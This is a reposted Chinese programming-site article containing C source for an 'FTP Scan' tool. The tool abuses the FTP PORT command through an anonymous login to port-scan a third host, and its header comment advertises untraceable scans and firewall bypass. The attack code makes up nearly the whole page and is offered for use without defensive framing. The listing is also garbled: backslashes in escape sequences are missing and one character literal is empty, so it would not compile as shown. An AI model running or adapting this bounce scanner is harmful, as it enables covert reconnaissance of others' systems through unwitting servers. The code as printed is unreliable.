当前位置:福雨世界文章首页程序设计C语言→扫描FTP服务器漏洞  
审计 干洗 投资 创业 加盟 连锁 礼仪 水泵 手机 电脑
美容 整形 婚庆 搬家 旅游 交友 房产 鲜花 美女 房产
最新热门文章 本类热门文章

扫描FTP服务器漏洞  


作者:不祥  来源于:网络  发布时间:2006-2-9 16:18:48
/** FTP Scan

** Exploits bug in FTP protocol that allows user to connect to arbritary

* IP address and port.

** Features: Untraceable port scans. Bypass firewalls!

* Example usage:

* ftp-scan ftp.cdrom.com 127.0.0.1 0 1024

** This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/param.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdarg.h>

int sock;

char line[1024];

void rconnect(char *server)

{

struct sockaddr_in sin;

struct hostent *hp;

hp = gethostbyname(server);

if (hp==NULL) {

printf("Unknown host: %sn",server);

exit(0);

}

bzero((char*) &sin, sizeof(sin));

bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

sin.sin_family = hp->h_addrtype;

sin.sin_port = htons(21);

sock = socket(AF_INET, SOCK_STREAM, 0);

connect(sock,(struct sockaddr *) &sin, sizeof(sin));

}

 

void login(void)

{

char buf[1024];

 

sprintf(buf,"USER ftpn");

send(sock, buf, strlen(buf),0);

sleep(1);

sprintf(buf,"PASS user@n");

send(sock, buf, strlen(buf),0);

}

 

void readln(void)

{

int i,done=0,w;

char tmp[1];

 

sprintf(line,"");

i = 0;

while (!done) {

w=read(sock,tmp, 1, 0);

if (tmp[0] != 0) {

line[i] = tmp[0];

}

if (line[i] == ) {

done = 1;

}

i++;

}

line[i] = 0;

}

 

void sendln(char s[1024]) {

send(sock, s, strlen(s),0);

}

 

#define UC(b) (((int)b)&0xff)

 

void main(int argc, char **argv)

{

char buf[1024];

int i;

u_short sport,eport;

register char *p,*a;

struct hostent *hp;

struct sockaddr_in sin;

char adr[1024];

 

if (argc != 5) {

printf("usage: ftp-scan ftp_server scan_host loport hiportn");

exit(-1);

}

hp = gethostbyname(argv[2]);

if (hp==NULL) {

printf("Unknown host: %sn",argv[2]);

exit(0);

}

bzero((char*) &sin, sizeof(sin));

bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

rconnect(argv[1]);

/* Login anon to server */

login();

/* Make sure we are in */

for (i=0; i<200; i++) {

readln();

if (strstr(line,"230 Guest")) {

printf("%s",line);

i = 200;

}

}

a=(char *)&sin.sin_addr;

sport = atoi(argv[3]);

eport = atoi(argv[4]);

sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));

for (i=sport; i<eport; i++) {

sin.sin_port = htons(i);

p=(char *)&sin.sin_port;

sprintf(buf,"nPORT %s,%i,%inLISTn",adr,UC(p[0]),UC(p[1]));

sendln(buf);

sprintf(line,"");

while (!strstr(line, "150") && !strstr(line,"425")) {

readln();

}

if (strstr(line,"150")) {

printf("%i connected.n",i);

}

}

close(sock);

}

来源:奥索网  

[ ] [ 字体: ] [回上一页] [告诉好友] [评论] [打 印] 上篇文章:MicrosoftAgent技术应用   
下篇文章:Anotherwaytohandlearrayinitialization  
关于本站 - 下载声明 - 软件发布 - 下载帮助